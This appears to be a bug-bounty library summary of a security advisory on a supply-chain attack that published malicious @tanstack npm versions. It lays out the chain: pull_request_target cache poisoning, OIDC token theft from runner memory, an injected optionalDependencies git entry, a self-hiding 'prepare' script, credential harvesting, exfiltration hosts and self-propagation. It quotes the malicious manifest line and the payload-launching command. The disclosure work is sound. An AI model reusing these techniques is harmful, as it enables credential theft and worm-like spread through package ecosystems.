# Malware in @tanstack/* packages exfiltrates cloud credentials, GitHub tokens, and SSH keys

Attacker chained pull_request_target Pwn Request, Actions cache poisoning, and OIDC token memory extraction to publish 84 malicious @tanstack/* npm versions that steal cloud and GitHub credentials.

- Payout: Research
- Severity: critical
- Program: TanStack
- Found by: ashishkurmi
- Disclosed: 2026-05-12
- CVE: CVE-2026-45321
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-g7cv-rxg3-hmpx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g7cv-rxg3-hmpx
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:research platform:ghsa sev:critical tech:github-actions tech:nodejs technique:chained technique:source-review vuln:secrets-leak

**Target:** npm packages published via GitHub Actions OIDC trusted publisher
**Root cause:** A pull_request_target workflow ran untrusted fork code with cache write access, letting the attacker poison a pnpm store cache key consumed by the trusted publish job; the publish job then had its OIDC token extracted from runner process memory.
**Steps:**
1. Fork TanStack/router and push an orphan commit containing `tanstack_runner.js` and a `prepare` script `bun run tanstack_runner.js && exit 1`.
2. Open a PR triggering the `pull_request_target` workflow; poison cache key `Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11` across the fork↔base boundary.
3. Trusted publish workflow restores the poisoned cache and runs attacker code.
4. Extract the OIDC token from the Actions runner process memory and use it to authenticate publishes as the trusted publisher.
5. Publish 84 malicious versions across 42 packages, each adding `"optionalDependencies": {"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"}` and a ~2.3 MB `router_init.js` at tarball root.
6. On victim install, npm fetches the orphan commit, runs `prepare` (`bun run tanstack_runner.js && exit 1`), which executes `router_init.js`; the trailing `exit 1` makes npm silently discard the optional dep leaving no trace.
7. Payload harvests AWS IMDS/Secrets Manager, GCP metadata, K8s SA tokens, Vault tokens, `~/.npmrc`, GitHub tokens, SSH keys; exfiltrates via Session/Oxen file upload (`filev2.getsession.org`, `seed{1,2,3}.getsession.org`).
8. Payload enumerates victim's maintained packages via `registry.npmjs.org/-/v1/search?text=maintainer:<user>` and republishes them with the same injection.
**How found:** Researcher analyzed the publish workflow runs and identified the `pull_request_target` misconfiguration, the poisoned cache key, and the OIDC token extraction technique reused verbatim from the tj-actions/changed-files incident.
**Exploitation:** Attacker needed only a fork of TanStack/router (no write access to base repo) since GitHub serves commits across the fork network for git-URL deps. Poisoned pnpm cache consumed by the trusted publish job yielded code execution in the OIDC-authenticated runner; token scraped from process memory authorized publishing 84 malicious versions in a 6-minute window. Install-time payload self-propagates by republishing victim-maintained packages.
**Escalation:** Self-spreading: harvested npm tokens used to enumerate and republish packages maintained by victims, propagating the compromise across the ecosystem; exfil over E2E-encrypted Session network with no attacker C2 to block.
**Insight:** GitHub serves commits across the entire fork network for `github:user/repo#sha` dependency specifiers, so an attacker only needs their own fork to inject a malicious git dependency; also, `optionalDependencies` with a failing `prepare` script (`&& exit 1`) leaves no `node_modules` trace, making it a stealthy install-time execution vector.

## Proof of concept (copied exactly from the original report)

**Malicious optionalDependencies entry in published manifest**

```
"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
```

**Commands to inspect tarball for payload**

```
npm pack @tanstack/<name>@<version>   # downloads tarball; does NOT execute lifecycle scripts
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js   # malicious payload, ~2.3 MB, present at package root
```

**Orphan commit prepare script executing payload**

```
Runs the commit's `prepare` lifecycle script: `bun run tanstack_runner.js && exit 1`. The trailing `exit 1` causes the optional install to fail, after which npm silently discards it — leaving no `node_modules` trace.
4. The `tanstack_runner.js` script in turn executes `router_init.js` from the host package's tarball.
```

